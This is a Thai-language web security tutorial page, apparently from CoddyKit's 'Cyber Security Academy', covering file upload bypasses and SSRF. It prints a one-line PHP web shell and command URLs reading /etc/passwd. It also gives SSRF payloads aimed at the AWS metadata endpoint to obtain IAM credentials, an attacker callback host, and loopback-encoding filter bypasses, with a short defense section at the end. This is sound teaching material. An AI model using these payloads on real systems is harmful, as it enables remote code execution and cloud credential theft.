ช่องโหว่การอัปโหลดไฟล์และ SSRF
หลีกเลี่ยงข้อจำกัดการอัปโหลดไฟล์ ใช้ประโยชน์จาก SSRF เพื่อเข้าถึงบริการภายใน และเชื่อมโยงช่องโหว่หลายรายการเข้าด้วยกัน
ช่องโหว่การอัปโหลดไฟล์และ SSRF เป็นบทเรียน Cyber Security Academy ฟรีบน CoddyKit นี่คือบทเรียนที่ 4 จากทั้งหมด 4 บทเรียน คุณสามารถอ่านบทเรียนทั้งหมดด้านล่างฟรี — จากนั้นลองปฏิบัติด้วยตัวคุณเองในเบราว์เซอร์พร้อมตัวแก้ไขโค้ดในตัวและติวเตอร์ AI ตลอด 24/7 บทเรียนนี้เป็นส่วนหนึ่งของเส้นทางการเรียน Cyber Security Academy และความก้าวหน้าของคุณจะซิงค์ข้ามเว็บและแอป CoddyKit คอร์ส Cyber Security Academy มีบทเรียนทั้งหมด 4 บทเรียน
ช่องโหว่การอัปโหลดไฟล์
ฟังก์ชันการอัปโหลดไฟล์เป็นหนึ่งในฟีเจอร์ที่มีความเสี่ยงสูงที่สุดในแอปเว็บ การตรวจสอบที่ไม่เพียงพอทำให้สามารถอัปโหลดไฟล์ที่เรียกใช้ได้ (PHP, JSP, ASPX) ซึ่งเซิร์ฟเวอร์จะดำเนินการต่อ ส่งผลให้สามารถเรียกใช้โค้ดจากระยะไกลได้
การข้ามตัวกรองนามสกุลไฟล์เบื้องต้น
ตัวกรองนามสกุลไฟล์ฝั่งไคลเอนต์และตัวกรองที่ใช้บัญชีดำสามารถข้ามได้ ลองใช้: นามสกุลซ้อน (.php.jpg) การเปลี่ยนตัวพิมพ์เล็กใหญ่ (.PhP) ไบต์ว่าง (file.php%00.jpg) และนามสกุลทางเลือก (.php5, .phtml, .phar)
# Try alternative PHP extensions:
file.php
file.php5
file.phtml
file.phar
file.php.jpg
file.php%00.jpg
file.PhP
# ASP/ASPX alternatives:
file.asp
file.aspx
file.asa
file.cerการข้ามการตรวจสอบชนิด MIME
เซิร์ฟเวอร์มักตรวจสอบส่วนหัว Content-Type แทนที่จะตรวจสอบเนื้อหาจริงของไฟล์ ดักจับคำขออัปโหลดใน Burp แล้วเปลี่ยน Content-Type จาก application/x-php เป็น image/jpeg
# In Burp Repeater, modify:
Content-Type: image/jpeg
# While keeping the file content as PHP:
<?php system($_GET["cmd"]); ?>การข้ามการตรวจสอบไบต์มหัศจรรย์
เซิร์ฟเวอร์บางแห่งตรวจสอบไบต์มหัศจรรย์ของไฟล์ (ไบต์แรกของไฟล์) เติมไบต์มหัศจรรย์ที่ถูกต้องของรูปภาพไว้ด้านหน้าเพย์โหลด PHP เพื่อให้ผ่านการตรวจสอบ โดยยังคงมีเนื้อหาที่เรียกใช้ได้
# Prepend JPEG magic bytes:
\xFF\xD8\xFF + PHP payload
# Or add GIF header:
GIF89a
<?php system($_GET["cmd"]); ?>เว็บเชลล์หลังการอัปโหลด
เมื่ออัปโหลดไฟล์ PHP/JSP และเข้าถึงได้ผ่าน URL แล้ว ให้เรียกไฟล์ดังกล่าวเพื่อดำเนินการคำสั่ง เว็บเชลล์ที่ง่ายที่สุดคือ
# Upload this as shell.php:
<?php system($_GET["cmd"]); ?>
# Access via browser:
http://target.com/uploads/shell.php?cmd=id
http://target.com/uploads/shell.php?cmd=whoami
http://target.com/uploads/shell.php?cmd=cat+/etc/passwdSSRF คืออะไร
การปลอมแปลงคำขอฝั่งเซิร์ฟเวอร์ (SSRF) หลอกให้เซิร์ฟเวอร์ส่งคำขอ HTTP ไปยัง URL ใดก็ได้แทนผู้โจมตี ทำให้เข้าถึงบริการภายใน API ข้อมูลเมตาของคลาวด์ และอินเทอร์เฟซผู้ดูแลระบบภายในได้
การตรวจหา SSRF เบื้องต้น
ค้นหาพารามิเตอร์ที่รับ URL ได้ (เว็บฮุก URL แสดงตัวอย่าง จุดปลายทางดึงข้อมูล และ URL รูปภาพ) แทรกที่อยู่ภายในแล้วสังเกตการตอบกลับ ความแตกต่างระหว่างหมดเวลา การปฏิเสธการเชื่อมต่อ และการตอบกลับที่ถูกต้อง จะบ่งชี้ว่าทรัพยากรใดเข้าถึงได้
# Test URL parameters:
?url=http://127.0.0.1/
?url=http://169.254.169.254/ # AWS metadata
?url=http://internal-service:8080/admin
# Burp Collaborator for blind SSRF:
?url=http://your-collaborator-id.oastify.com/API ข้อมูลเมตา AWS ผ่าน SSRF
บริการข้อมูลเมตาอินสแตนซ์ AWS (IMDS) ที่ 169.254.169.254 เปิดเผยข้อมูลประจำตัวของบทบาท IAM การทำ SSRF ไปยังจุดปลายทางนี้อาจทำให้ข้อมูลประจำตัวคลาวด์รั่วไหล และเปิดทางให้ยึดบัญชีได้ทั้งหมด
# SSRF payload targeting AWS metadata:
?url=http://169.254.169.254/latest/meta-data/
?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns:
# {"AccessKeyId":"ASIA...", "SecretAccessKey":"..."}SSRF แบบตาบอด
เมื่อไม่มีการสะท้อนเนื้อหาการตอบกลับ ให้ใช้เทคนิคนอกแบนด์: การค้นหา DNS ไปยัง Burp Collaborator ยืนยันการเชื่อมต่อ ส่วนการเรียกกลับ HTTP พร้อมข้อมูลเส้นทางจะช่วยขโมยข้อมูลออกมา
# Interactsh as alternative to Burp Collaborator:
# https://github.com/projectdiscovery/interactsh
?url=http://attacker.interactsh.com/ssrf-testเทคนิคการข้าม SSRF
ตัวกรองที่บล็อก IP ภายในซึ่งเห็นได้ชัดสามารถข้ามได้ด้วย: การเข้ารหัส IP (ทศนิยม 0x7f000001 = 127.0.0.1) การทำ DNS rebinding ที่อยู่ลูปแบ็กทางเลือก (127.1, 0.0.0.0) และการเปลี่ยนเส้นทาง URL
# Alternative representations of 127.0.0.1:
http://127.1
http://2130706433 # decimal
http://0x7f000001 # hex
http://0177.0.0.1 # octal
http://localhostการป้องกันการอัปโหลดไฟล์และ SSRF
การอัปโหลดไฟล์: อนุญาตเฉพาะนามสกุลที่ปลอดภัย จัดเก็บไว้นอกไดเรกทอรีรากของเว็บ เปลี่ยนชื่อไฟล์ฝั่งเซิร์ฟเวอร์ และให้บริการผ่าน CDN ส่วน SSRF: อนุญาตเฉพาะ URL หรือช่วง IP ที่กำหนด ปิดฟีเจอร์ดึง URL ที่ไม่จำเป็น และบังคับใช้ IMDSv2 บน AWS
ตรวจสอบความเข้าใจ
การโจมตี SSRF มุ่งเป้าไปที่ IP ใดเพื่อขโมยข้อมูลประจำตัว AWS
สรุป: การอัปโหลดไฟล์และ SSRF
ข้อบกพร่องในการอัปโหลดไฟล์นำไปสู่การเรียกใช้โค้ดจากระยะไกล ส่วน SSRF นำไปสู่การเข้าถึงเครือข่ายภายในและการขโมยข้อมูลประจำตัว ทดสอบการอัปโหลดด้วยการข้ามการตรวจสอบนามสกุล ชนิด MIME และไบต์มหัศจรรย์ ทดสอบพารามิเตอร์ URL สำหรับ SSRF โดยมุ่งเป้าไปที่ localhost เครือข่ายย่อยภายใน และ API ข้อมูลเมตาของคลาวด์ ทั้งสองกรณีต้องใช้การป้องกันหลายชั้น ได้แก่ การใช้รายการอนุญาตแทนบัญชีดำ การแบ่งส่วนเครือข่าย และการเสริมความปลอดภัยของคลาวด์
เรียนรู้ Cyber Security Academy ด้วย AI tutor — ฟรี
เขียนและเรียกใช้โค้ดจริงในเบราว์เซอร์ของคุณ รับความช่วยเหลือทันทีจาก AI tutor 24/7 และเรียนรู้ต่อจากที่คุณหยุดบนเว็บหรือในแอป
- คอร์ส
- 76
- บทเรียน
- 303
คำถามที่พบบ่อย
บทเรียน “ช่องโหว่การอัปโหลดไฟล์และ SSRF” ฟรีหรือไม่
ใช่ — ข้อความเต็มของ “ช่องโหว่การอัปโหลดไฟล์และ SSRF” ฟรีให้อ่านที่นี่บนเว็บ เพื่อปฏิบัติแบบโต้ตอบ (ตัวแก้ไขโค้ดในตัวและติวเตอร์ AI ตลอด 24/7) และปลดล็อคส่วนที่เหลือของคอร์ส Cyber Security Academy ให้อัปเกรดเป็น CoddyKit PRO คอร์ส Cyber Security Academy มีบทเรียนทั้งหมด 4 บทเรียน
คุณจะเรียนรู้อะไรในบทเรียน “ช่องโหว่การอัปโหลดไฟล์และ SSRF”
หลีกเลี่ยงข้อจำกัดการอัปโหลดไฟล์ ใช้ประโยชน์จาก SSRF เพื่อเข้าถึงบริการภายใน และเชื่อมโยงช่องโหว่หลายรายการเข้าด้วยกัน คุณปฏิบัติ Cyber Security Academy ด้วยโค้ดที่ใช้งานได้จริงที่คุณเรียกใช้โดยตรงในเบราว์เซอร์ และติวเตอร์ AI ตลอด 24/7 ตอบคำถามของคุณขณะที่คุณไปผ่านบทเรียน
คุณต้องมีประสบการณ์ก่อนที่จะเริ่มเรียน Cyber Security Academy หรือไม่
ไม่จำเป็นต้องมีประสบการณ์มาก่อน Cyber Security Academy บน CoddyKit ออกแบบมาสำหรับผู้เริ่มต้นไปจนถึงผู้เรียนขั้นสูง คุณสามารถเริ่มต้นที่นี่หรือเริ่มจากตัวแรกและเรียนด้วยความเร็วของคุณเอง นี่คือบทเรียนที่ 4 จากทั้งหมด 4 บทเรียน
บทเรียน “ช่องโหว่การอัปโหลดไฟล์และ SSRF” ใช้เวลานานแค่ไหน
บทเรียน CoddyKit ส่วนใหญ่ใช้เวลาประมาณ 5–10 นาที แต่ละบทเรียนจึงสั้นและเป็นแบบโต้ตอบ คุณสามารถก้าวหน้าอย่างต่อเนื่องและกลับมาเรียนต่อจากตรงที่เพิ่งหยุดบนเว็บและแอปได้เลย
ฉันเขียนและรันโค้ดในบทเรียน Cyber Security Academy นี้ได้ไหม
ได้ บทเรียน Cyber Security Academy ทุกบทมีตัวแก้ไขโค้ดในตัว คุณจึงเขียนและรันโค้ดจริงได้เลยในเบราว์เซอร์ และได้รับข้อเสนอแนะจาก AI ในทันที — ไม่ต้องติดตั้งในเครื่องของคุณ
บทเรียนทั้งหมดในหลักสูตรนี้
- พร็อกซี Burp Suite และการดักจับคำขอ
- การทดสอบช่องโหว่แบบฉีดคำสั่ง
- การทดสอบการยืนยันตัวตนและเซสชัน
- ช่องโหว่การอัปโหลดไฟล์และ SSRF